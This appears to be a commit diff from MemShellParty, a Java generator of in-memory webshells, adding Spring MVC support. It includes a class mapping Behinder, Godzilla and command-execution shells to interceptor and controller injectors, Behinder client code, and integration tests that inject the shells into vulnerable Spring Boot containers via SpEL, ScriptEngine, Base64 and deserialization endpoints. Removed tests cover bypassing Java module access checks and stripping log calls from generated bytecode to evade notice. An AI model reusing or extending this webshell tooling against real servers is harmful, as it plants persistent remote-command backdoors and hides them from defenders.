mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 15:31:53 +08:00
feat: support springmvc shell generate
This commit is contained in:
@@ -31,7 +31,7 @@ jobs:
|
|||||||
strategy:
|
strategy:
|
||||||
fail-fast: false
|
fail-fast: false
|
||||||
matrix:
|
matrix:
|
||||||
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere" ]
|
middleware: [ "tomcat", "jetty", "jbossas", "jbosseap", "wildfly", "glassfish", "resin", "payara", "websphere", "springmvc" ]
|
||||||
runs-on: ubuntu-latest
|
runs-on: ubuntu-latest
|
||||||
name: ${{ matrix.middleware }}
|
name: ${{ matrix.middleware }}
|
||||||
needs: [ unit-test ]
|
needs: [ unit-test ]
|
||||||
|
|||||||
@@ -63,7 +63,7 @@ public class BehinderManager {
|
|||||||
}
|
}
|
||||||
String resText = new String(decrypt(resData));
|
String resText = new String(decrypt(resData));
|
||||||
if (StringUtils.isBlank(resText)) {
|
if (StringUtils.isBlank(resText)) {
|
||||||
throw new RuntimeException(new String((byte[]) resultObj.get("data")));
|
throw new RuntimeException("decrypt text is empty, the raw data is " + new String((byte[]) resultObj.get("data")) + " and the status code is " + resultObj.get("status"));
|
||||||
}
|
}
|
||||||
JSONObject jsonObject = JSON.parseObject(resText);
|
JSONObject jsonObject = JSON.parseObject(resText);
|
||||||
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
|
String msg = new String(Base64.decodeBase64(jsonObject.getString("msg")));
|
||||||
|
|||||||
@@ -32,7 +32,10 @@ public class Test {
|
|||||||
result.put("status", "success");
|
result.put("status", "success");
|
||||||
} finally {
|
} finally {
|
||||||
try {
|
try {
|
||||||
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
|
// org.springframework.boot.web.servlet.support.ErrorPageFilter$ErrorWrapperResponse is private
|
||||||
|
Method getOutputStreamMethod = this.Response.getClass().getDeclaredMethod("getOutputStream");
|
||||||
|
getOutputStreamMethod.setAccessible(true);
|
||||||
|
Object so = getOutputStreamMethod.invoke(this.Response);
|
||||||
Method write = so.getClass().getMethod("write", byte[].class);
|
Method write = so.getClass().getMethod("write", byte[].class);
|
||||||
String jsonStr = this.buildJson(result, true);
|
String jsonStr = this.buildJson(result, true);
|
||||||
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
write.invoke(so, this.Encrypt(jsonStr.getBytes("UTF-8")));
|
||||||
|
|||||||
@@ -11,9 +11,9 @@ class BehinderManagerTest {
|
|||||||
@Test
|
@Test
|
||||||
void test() {
|
void test() {
|
||||||
BehinderManager behinderManager = BehinderManager.builder()
|
BehinderManager behinderManager = BehinderManager.builder()
|
||||||
.entrypoint("http://localhost:8080/app/test")
|
.entrypoint("http://localhost:8080/test")
|
||||||
.pass("test123")
|
.pass("pass")
|
||||||
.header("User-Agent", "testValve").build();
|
.header("User-Agent", "BehinderinterceptorBase64").build();
|
||||||
behinderManager.test();
|
behinderManager.test();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -1,33 +0,0 @@
|
|||||||
package com.reajason.javaweb.buddy;
|
|
||||||
|
|
||||||
import lombok.SneakyThrows;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.junit.jupiter.api.condition.EnabledOnJre;
|
|
||||||
|
|
||||||
import java.lang.reflect.InaccessibleObjectException;
|
|
||||||
import java.lang.reflect.Method;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertDoesNotThrow;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertThrows;
|
|
||||||
import static org.junit.jupiter.api.condition.JRE.JAVA_17;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/7
|
|
||||||
*/
|
|
||||||
class ByPassJavaModuleInterceptorTest {
|
|
||||||
@Test
|
|
||||||
@SneakyThrows
|
|
||||||
@EnabledOnJre(JAVA_17)
|
|
||||||
void testByPassModule() {
|
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
|
||||||
assertThrows(InaccessibleObjectException.class, () -> {
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
});
|
|
||||||
ByPassJavaModuleInterceptor.enter(this.getClass());
|
|
||||||
assertDoesNotThrow(() -> {
|
|
||||||
defineClass.setAccessible(true);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
@@ -1,119 +0,0 @@
|
|||||||
package com.reajason.javaweb.buddy;
|
|
||||||
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.asm.AsmVisitorWrapper;
|
|
||||||
import net.bytebuddy.description.method.MethodDescription;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.implementation.Implementation;
|
|
||||||
import net.bytebuddy.jar.asm.MethodVisitor;
|
|
||||||
import net.bytebuddy.jar.asm.Opcodes;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import net.bytebuddy.pool.TypePool;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import java.util.logging.Logger;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|
||||||
import static org.mockito.Mockito.*;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/12/4
|
|
||||||
*/
|
|
||||||
@Slf4j
|
|
||||||
class LogRemoveVisitorWrapperTest {
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testExtend() {
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy().subclass(Object.class);
|
|
||||||
DynamicType.Builder<?> extendedBuilder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
assertNotNull(extendedBuilder);
|
|
||||||
assertNotEquals(builder, extendedBuilder);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testWrap() {
|
|
||||||
LogRemoveMethodVisitor visitor = LogRemoveMethodVisitor.INSTANCE;
|
|
||||||
TypeDescription instrumentedType = mock(TypeDescription.class);
|
|
||||||
MethodDescription instrumentedMethod = mock(MethodDescription.class);
|
|
||||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
|
||||||
Implementation.Context implementationContext = mock(Implementation.Context.class);
|
|
||||||
TypePool typePool = mock(TypePool.class);
|
|
||||||
|
|
||||||
MethodVisitor wrappedVisitor = visitor.wrap(instrumentedType, instrumentedMethod, methodVisitor,
|
|
||||||
implementationContext, typePool, 0, 0);
|
|
||||||
|
|
||||||
assertNotNull(wrappedVisitor);
|
|
||||||
assertNotEquals(methodVisitor, wrappedVisitor);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testVisitMethodInsn_RemoveSystemOutPrintln() {
|
|
||||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
|
||||||
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
|
|
||||||
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintStream", "println", "(Ljava/lang/String;)V", false);
|
|
||||||
|
|
||||||
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testVisitMethodInsn_RemovePrintStackTrace() {
|
|
||||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
|
||||||
LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0)
|
|
||||||
.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
|
|
||||||
|
|
||||||
verify(methodVisitor, never()).visitMethodInsn(anyInt(), anyString(), anyString(), anyString(), anyBoolean());
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testVisitMethodInsn_KeepOtherMethodCalls() {
|
|
||||||
MethodVisitor methodVisitor = mock(MethodVisitor.class);
|
|
||||||
MethodVisitor wrappedVisitor = LogRemoveMethodVisitor.INSTANCE.wrap(null, null, methodVisitor, null, null, 0, 0);
|
|
||||||
wrappedVisitor.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
|
|
||||||
verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void testIntegration() throws Exception {
|
|
||||||
// Use ByteBuddy to create a new class with log statements removed
|
|
||||||
DynamicType.Unloaded<TestClass> make = new ByteBuddy()
|
|
||||||
.redefine(TestClass.class)
|
|
||||||
.name("com.reajason.javaweb.buddy.TestClass1")
|
|
||||||
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
|
||||||
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
|
|
||||||
.make();
|
|
||||||
byte[] bytes = make.getBytes();
|
|
||||||
// Files.write(Paths.get("xx.class"), bytes);
|
|
||||||
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
|
|
||||||
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
|
|
||||||
modifiedClass.getMethod("methodWithLogs").invoke(instance);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class TestClass {
|
|
||||||
static Logger logger = Logger.getLogger(TestClass.class.getName());
|
|
||||||
|
|
||||||
public TestClass() {
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void methodWithLogs() {
|
|
||||||
System.out.println("This should be removed");
|
|
||||||
String test = "test";
|
|
||||||
int length = test.length();
|
|
||||||
logger.info(test);
|
|
||||||
try {
|
|
||||||
System.out.println("hello");
|
|
||||||
throw new RuntimeException("hello");
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
logger.warning("wa");
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void main(String[] args) {
|
|
||||||
methodWithLogs();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,61 @@
|
|||||||
|
package com.reajason.javaweb.memshell;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.behinder.BehinderInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.command.CommandControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.command.CommandInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaControllerHandler;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.godzilla.GodzillaInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.injector.SpringControllerHandlerInterceptor;
|
||||||
|
import com.reajason.javaweb.memshell.springmvc.injector.SpringInterceptorInjector;
|
||||||
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class SpringMVCShell extends AbstractShell {
|
||||||
|
public static final String INTERCEPTOR = "Interceptor";
|
||||||
|
public static final String JAKARTA_INTERCEPTOR = "JakartaInterceptor";
|
||||||
|
public static final String CONTROLLER_HANDLER = "ControllerHandler";
|
||||||
|
public static final String JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public List<ShellTool> getSupportedShellTools() {
|
||||||
|
return List.of(ShellTool.Command, ShellTool.Godzilla, ShellTool.Behinder);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||||
|
return Map.of(
|
||||||
|
INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
||||||
|
JAKARTA_INTERCEPTOR, Pair.of(BehinderInterceptor.class, SpringInterceptorInjector.class),
|
||||||
|
CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||||
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(BehinderControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||||
|
return Map.of(
|
||||||
|
INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
||||||
|
JAKARTA_INTERCEPTOR, Pair.of(CommandInterceptor.class, SpringInterceptorInjector.class),
|
||||||
|
CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||||
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(CommandControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected Map<String, Pair<Class<?>, Class<?>>> getGodzillaShellMap() {
|
||||||
|
return Map.of(
|
||||||
|
INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
||||||
|
JAKARTA_INTERCEPTOR, Pair.of(GodzillaInterceptor.class, SpringInterceptorInjector.class),
|
||||||
|
CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class),
|
||||||
|
JAKARTA_CONTROLLER_HANDLER, Pair.of(GodzillaControllerHandler.class, SpringControllerHandlerInterceptor.class)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -33,7 +33,7 @@ public enum Server {
|
|||||||
/**
|
/**
|
||||||
* SpringMVC 框架
|
* SpringMVC 框架
|
||||||
*/
|
*/
|
||||||
SpringMVC(null),
|
SpringMVC(new SpringMVCShell()),
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Spring Webflux 框架
|
* Spring Webflux 框架
|
||||||
|
|||||||
@@ -12,4 +12,4 @@ public class Base64Packer implements Packer {
|
|||||||
public String pack(GenerateResult generateResult) {
|
public String pack(GenerateResult generateResult) {
|
||||||
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -52,7 +52,13 @@ idea {
|
|||||||
}
|
}
|
||||||
|
|
||||||
test {
|
test {
|
||||||
dependsOn ":vul:vul-webapp:war", ":vul:vul-webapp-expression:war", ":vul:vul-webapp-jakarta:war"
|
dependsOn {
|
||||||
|
":vul:vul-webapp:war"
|
||||||
|
":vul:vul-webapp-expression:war"
|
||||||
|
":vul:vul-webapp-jakarta:war"
|
||||||
|
":vul:vul-springboot2:bootJar"
|
||||||
|
":vul:vul-springboot3:bootJar"
|
||||||
|
}
|
||||||
useJUnitPlatform()
|
useJUnitPlatform()
|
||||||
finalizedBy jacocoTestReport
|
finalizedBy jacocoTestReport
|
||||||
}
|
}
|
||||||
@@ -4,6 +4,7 @@ import lombok.extern.slf4j.Slf4j;
|
|||||||
import org.testcontainers.containers.GenericContainer;
|
import org.testcontainers.containers.GenericContainer;
|
||||||
import org.testcontainers.utility.MountableFile;
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
|
import java.nio.file.Path;
|
||||||
import java.nio.file.Paths;
|
import java.nio.file.Paths;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -15,7 +16,8 @@ public class ContainerTool {
|
|||||||
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
|
public static final MountableFile warJakartaFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war").toAbsolutePath());
|
||||||
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
|
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp-expression/build/libs/vul-webapp-expression.war").toAbsolutePath());
|
||||||
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
|
public static final MountableFile warFile = MountableFile.forHostPath(Paths.get("../vul/vul-webapp/build/libs/vul-webapp.war").toAbsolutePath());
|
||||||
|
public static final Path springBoot2Dockerfile = Paths.get("../vul/vul-springboot2/Dockerfile").toAbsolutePath();
|
||||||
|
public static final Path springBoot3Dockerfile = Paths.get("../vul/vul-springboot3/Dockerfile").toAbsolutePath();
|
||||||
|
|
||||||
public static String getUrl(GenericContainer<?> container) {
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
String host = container.getHost();
|
String host = container.getHost();
|
||||||
|
|||||||
+5
-2
@@ -1,6 +1,7 @@
|
|||||||
package com.reajason.javaweb.integration;
|
package com.reajason.javaweb.integration;
|
||||||
|
|
||||||
import com.reajason.javaweb.GeneratorMain;
|
import com.reajason.javaweb.GeneratorMain;
|
||||||
|
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.packer.Packer;
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
@@ -15,7 +16,7 @@ public class ShellAssertionTool {
|
|||||||
String shellUrl = url + "/test";
|
String shellUrl = url + "/test";
|
||||||
|
|
||||||
InjectorConfig injectorConfig = new InjectorConfig();
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
if (shellType.endsWith(Constants.SERVLET)) {
|
if (shellType.endsWith(Constants.SERVLET) || shellType.endsWith(SpringMVCShell.CONTROLLER_HANDLER)) {
|
||||||
String urlPattern = "/" + shellTool + shellType + packer.name();
|
String urlPattern = "/" + shellTool + shellType + packer.name();
|
||||||
shellUrl = url + urlPattern;
|
shellUrl = url + urlPattern;
|
||||||
injectorConfig.setUrlPattern(urlPattern);
|
injectorConfig.setUrlPattern(urlPattern);
|
||||||
@@ -56,7 +57,7 @@ public class ShellAssertionTool {
|
|||||||
String behinderPass = "pass";
|
String behinderPass = "pass";
|
||||||
String behinderHeaderValue = "Behinder" + shellType + packer.name();
|
String behinderHeaderValue = "Behinder" + shellType + packer.name();
|
||||||
BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build();
|
BehinderConfig behinderConfig = BehinderConfig.builder().pass(behinderPass).headerName("User-Agent").headerValue(behinderHeaderValue).build();
|
||||||
log.info("generated {} godzilla with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
|
log.info("generated {} behinder with pass: {}, headerValue: {}", shellType, behinderPass, behinderHeaderValue);
|
||||||
String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer);
|
String behinderContent = GeneratorMain.generate(shellConfig, injectorConfig, behinderConfig, packer);
|
||||||
assertInjectIsOk(url, shellType, shellTool, behinderContent, packer);
|
assertInjectIsOk(url, shellType, shellTool, behinderContent, packer);
|
||||||
BehinderShellTool.testIsOk(shellUrl, behinderConfig);
|
BehinderShellTool.testIsOk(shellUrl, behinderConfig);
|
||||||
@@ -64,6 +65,7 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
|
||||||
|
System.out.println(content);
|
||||||
switch (packer) {
|
switch (packer) {
|
||||||
case JSP -> {
|
case JSP -> {
|
||||||
String uploadEntry = url + "/upload";
|
String uploadEntry = url + "/upload";
|
||||||
@@ -79,6 +81,7 @@ public class ShellAssertionTool {
|
|||||||
case Freemarker -> VulTool.postData(url + "/freemarker", content);
|
case Freemarker -> VulTool.postData(url + "/freemarker", content);
|
||||||
case Velocity -> VulTool.postData(url + "/velocity", content);
|
case Velocity -> VulTool.postData(url + "/velocity", content);
|
||||||
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
|
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);
|
||||||
|
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -50,7 +50,7 @@ public class VulTool {
|
|||||||
.url(uploadUrl).post(requestBody)
|
.url(uploadUrl).post(requestBody)
|
||||||
.build();
|
.build();
|
||||||
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
try (Response response = new OkHttpClient().newCall(request).execute()) {
|
||||||
// log.info(response.body().string());
|
System.out.println(response.body().string());
|
||||||
Assertions.assertNotEquals(404, response.code());
|
Assertions.assertNotEquals(404, response.code());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+84
@@ -0,0 +1,84 @@
|
|||||||
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||||
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.springBoot2Dockerfile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot2ContainerTest {
|
||||||
|
public static final String imageName = "springboot2";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(springBoot2Dockerfile))
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||||
|
arguments(imageName, SpringMVCShell.INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.SpEL),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.SpEL),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.ScriptEngine),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.SpEL),
|
||||||
|
arguments(imageName, SpringMVCShell.CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V1_6, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+72
@@ -0,0 +1,72 @@
|
|||||||
|
package com.reajason.javaweb.integration.springmvc;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.SpringMVCShell;
|
||||||
|
import com.reajason.javaweb.memshell.config.Server;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.packer.Packer;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.springBoot3Dockerfile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class SpringBoot3ContainerTest {
|
||||||
|
public static final String imageName = "springboot3";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(new ImageFromDockerfile()
|
||||||
|
.withDockerfile(springBoot3Dockerfile))
|
||||||
|
.waitingFor(Wait.forHttp("/test"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.JAKARTA_INTERCEPTOR, ShellTool.Command, Packer.INSTANCE.Base64),
|
||||||
|
